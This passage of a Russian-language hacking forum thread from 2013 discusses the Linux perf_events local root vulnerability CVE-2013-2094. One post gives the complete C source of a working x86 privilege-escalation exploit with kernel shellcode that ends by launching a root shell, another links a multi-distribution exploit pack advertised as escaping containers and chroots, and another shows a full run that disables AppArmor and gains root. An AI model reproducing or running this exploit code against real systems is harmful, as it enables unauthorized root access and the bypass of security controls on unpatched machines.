Старый 21.05.2013, 13:21   #41
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Еще одно описание: http://timetobleed.com/a-closer-look...cve-2013-2094/
SynQ вне форума   Ответить с цитированием
Старый 21.05.2013, 14:03   #42
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

SynQ, забавно, не знал
12309 вне форума   Ответить с цитированием
Старый 22.05.2013, 00:39   #43
alexdll
 
Регистрация: 16.05.2013
Сообщений: 7
Репутация: 0
По умолчанию

Ребят у меня на linux 3.2.0-4-amd64 #1 SMP Debian 3.2.39-2 x86_64 GNU/Linux
a.out: exp.c:51: sheep: Assertion `!close(fd)' failed.
Никак совсем?
alexdll вне форума   Ответить с цитированием
Старый 23.05.2013, 14:22   #44
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Порт на х86.

http://rikiji.it/2013/05/10/CVE-2013-2094-x86.html

Код:
/*
 * linux 2.6.37-3.8.8 - x86
 * @rikiji
 *
 * requires System.map and /dev/ptmx
 * this: http://zmbs.net/~rikiji/perf_ptmx.c
 * original: http://fucksheep.org/~sd/warez/semtex.c
 */

#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/mman.h>
#include <stdint.h>
#include <linux/perf_event.h>
#include <asm/unistd.h>

#define SYSMAP_PREFIX "/boot/System.map-"
#define PAGE_SIZE 4096

unsigned long commit_creds = 0;
unsigned long prepare_kernel_cred = 0;

#define OFFSET_PREP 3
#define OFFSET_COMM 10
char shellcode [] = "\x31\xc0\xbb\x04\x03\x02\x01\xff\xd3\xbb\x08\x07\x06\x05\xff\xd3\xc3";

unsigned long getsym(char * sym)
{
  char s[256] = { 0 };
  int fd = open("/proc/version", O_RDONLY);
  read(fd, s, sizeof(s));
  strtok(s, " ");
  strtok(NULL, " ");
  char * version = strtok(NULL, " ");
  close(fd);
  
  int len = strlen(version) + strlen(SYSMAP_PREFIX) + 1;
  char * mapf = malloc(len);
  memset(mapf, 0, len);
  strncpy(mapf, SYSMAP_PREFIX, strlen(SYSMAP_PREFIX));
  strncpy(mapf + strlen(SYSMAP_PREFIX), version, strlen(version));
  
  fd = open(mapf, O_RDONLY);
  
#define BUFSIZE 1024
  char * buf = malloc(BUFSIZE + 1);
  buf[BUFSIZE] = 0;
  int partial = 0, found = 0;
  char addr[9];
  
  while(!found) {
    read(fd, buf, BUFSIZE);    
    char * tok = strtok(buf," \n");
    
    while(tok != NULL) {
      int n = strlen(tok);
      if(partial) {
	if(strncmp(sym + partial, tok, n) == 0) {
	  found = 1;
	  break;
	} else {
	  partial = 0;	
	}
      } else {
	if(strncmp(sym, tok, n) == 0) {
	  strncpy(addr, tok - 11, 9);
	  if(n < strlen(sym) && (tok + n == buf + BUFSIZE)) {
	    partial = n;
	    break;	  
	  }
	  if(n == strlen(sym)) {
	    found = 1;
	    break;
	  }
	}
      }
      tok = strtok(NULL," \n");
    }
  }  
  close(fd);
  
  printf("%s: 0x%s\n", sym, addr);
  return strtoul(addr, NULL, 16);  
}

int main(int argc, char ** argv) 
{
  unsigned long perf_table = getsym("perf_swevent_enabled");
  commit_creds = getsym("commit_creds");
  prepare_kernel_cred = getsym("prepare_kernel_cred");
  unsigned long pmtx_ops = getsym("ptmx_fops");

  *((unsigned int *)(shellcode + OFFSET_PREP)) = prepare_kernel_cred;
  *((unsigned int *)(shellcode + OFFSET_COMM)) = commit_creds;

  int s;
  for(s=0;s<sizeof(shellcode);s++)
    printf("%02x ", (unsigned char)shellcode[s]);  
  printf("\n");

  /* 56 is offset of fsync in struct file_operations */
  int target = pmtx_ops + 56;
  int payload = -((perf_table - target)/4);
  printf("payload: 0x%x\n", payload);

  unsigned long base_addr = 0x10000;
  char * map = mmap((void *)base_addr, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_FIXED | MAP_SHARED, -1, 0);
    
  if(map == MAP_FAILED)
    perror("mmap");    
  
  memcpy(map, shellcode, 0x30);

  struct perf_event_attr event_attr;
  memset(&event_attr, 0, sizeof(struct perf_event_attr));
  event_attr.type = 1;
  event_attr.size = sizeof(struct perf_event_attr);  
  event_attr.config = payload;    

  int times = base_addr;
  int i = 0, k;

#define BLOCK 256
  while(times - i > 0) {
    printf("i %d\n", i);
    if(times - i > BLOCK) {
      if(fork()) {	
	for(k=0;k<BLOCK;k++){
	  int fd = syscall(__NR_perf_event_open, &event_attr, 0, -1, -1, 0);
	  if (fd < 0) {
	    perror("perf_event_open child");
	  }
	}
	pause();
	exit(0);
      }
      i += BLOCK;
    } else {      
      int fd = syscall(__NR_perf_event_open, &event_attr, 0, -1, -1, 0);
      if (fd < 0) {
	perror("perf_event_open");
	sleep(1);
      }
      i++;
    }    
  }

  int ptmx = open("/dev/ptmx", O_RDWR);
  fsync(ptmx);

  if(getuid()) {
    printf("failed");
    return -1;
  }

  printf("root!!");
  execl("/bin/sh", "sh", NULL);

  return 0;
}
SynQ вне форума   Ответить с цитированием
Старый 26.05.2013, 15:53   #45
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Для всех дистрибутивов, х86/х64:
http://grsecurity.net/~spender/explo...ightenment.tgz

Цитата:
@grsecurity: Breaks out of vserver, OpenVZ, chroot, mnt namespaces
SynQ вне форума   Ответить с цитированием
Старый 26.05.2013, 18:52   #46
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

*дец всему живому.
12309 вне форума   Ответить с цитированием
Старый 26.05.2013, 20:50   #47
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Йес

Linux 2.6.38-16-generic #67-Ubuntu SMP Thu Sep 6 18:00:43 UTC 2012 i686 athlon i386 GNU/Linux

Код:
Choose your exploit:
 [0] Abacus: Linux 2.6.37 -> 3.8.8 PERF_EVENTS local root
 [1] Ingo m0wnar: Linux 2.6.31 perf_counter local root (Ingo backdoor method)
 [2] Sieve: Linux 2.6.18+ move_pages() infoleak
 [3] Exit
> 0
 ------------------------------------------------------------------------------
 A man who fears ridicule will never go far, for good or ill: he remains on
 this side of his talents, and even if he has genius, he is doomed to
 mediocrity. --Cioran
 ------------------------------------------------------------------------------
 [+] Resolved set_fs_root to 0xc114d480 (via System.map)
 [+] Resolved set_fs_pwd to 0xc114d500 (via System.map)
 [+] Resolved __virt_addr_valid to 0xc1031ee0 (via System.map)
 [+] Resolved init_task to 0xc1733f60 (via System.map)
 [+] Resolved init_fs to 0xc17547a0 (via System.map)
 [+] Resolved default_exec_domain to 0xc173b880 (via System.map)
 [+] Resolved bad_file_ops to 0xc1526080 (via System.map)
 [+] Resolved bad_file_aio_read to 0xc113f250 (via System.map)
 [+] Resolved selinux_enforcing to 0xc190991c (via System.map)
 [+] Resolved selinux_enabled to 0xc1909918 (via System.map)
 [+] Resolved apparmor_enabled to 0xc175e4ec (via System.map)
 [+] Resolved security_ops to 0xc19088cc (via System.map)
 [+] Resolved default_security_ops to 0xc175b6e0 (via System.map)
 [+] Resolved sel_read_enforce to 0xc1226a70 (via System.map)
 [+] Resolved audit_enabled to 0xc18897c4 (via System.map)
 [+] Resolved commit_creds to 0xc1074460 (via System.map)
 [+] Resolved prepare_kernel_cred to 0xc10746d0 (via System.map)
 [+] Resolved ptmx_fops to 0xc19109c0 (via System.map)
 [+] Resolved mark_rodata_ro to 0xc102e250 (via System.map)
 [+] Resolved set_kernel_text_ro to 0xc102e200 (via System.map)
 [+] Resolved perf_swevent_enabled to 0xc18fcbc0 (via System.map)
 [+] Resolved ptmx_fops to 0xc19109c0 (via System.map)
 [!] Array base is 0xc18fcbc0
 [!] Detected structure size of 4 bytes
 [!] Targeting 0xc19109d0
 [+] Got ring0!
 [+] Obtained internal symbol table for extended functionality
 [+] Detected 2.6/3.x style 8k stacks, with current at 0xcd248ca0 and cred support
 [+] Disabled security of : AppArmor LSM
 [+] Found ->fs offset at 0x378
 [+] Broke out of any chroots or mnt namespaces
 [+] Got root!
root@an:/home/an/Toolza/enlightenment#id
uid=0(root) gid=0(root) groups=0(root)
root@an:/home/an/Toolza/enlightenment#uname -a
Linux an 2.6.38-16-generic #67-Ubuntu SMP Thu Sep 6 18:00:43 UTC 2012 i686 athlon i386 GNU/Linux
правда пришлось sudo chmod -R 0666 /boot делать
Pashkela вне форума   Ответить с цитированием
Старый 26.05.2013, 21:19   #48
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

зачем? разве 444 не достаточно?
12309 вне форума   Ответить с цитированием
Старый 27.05.2013, 11:19   #49
blesse
 
Регистрация: 16.08.2012
Сообщений: 24
Репутация: -2
По умолчанию

[2] Sieve: Linux 2.6.18+ move_pages() infoleak

Что-то не нашел на рдоте темы по этой уязвимости?(с анг туго в гугл не посылать) Какие у нее зависимости?
blesse вне форума   Ответить с цитированием
Старый 27.05.2013, 12:11   #50
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Это старое дерьмо мамонта.
SynQ вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot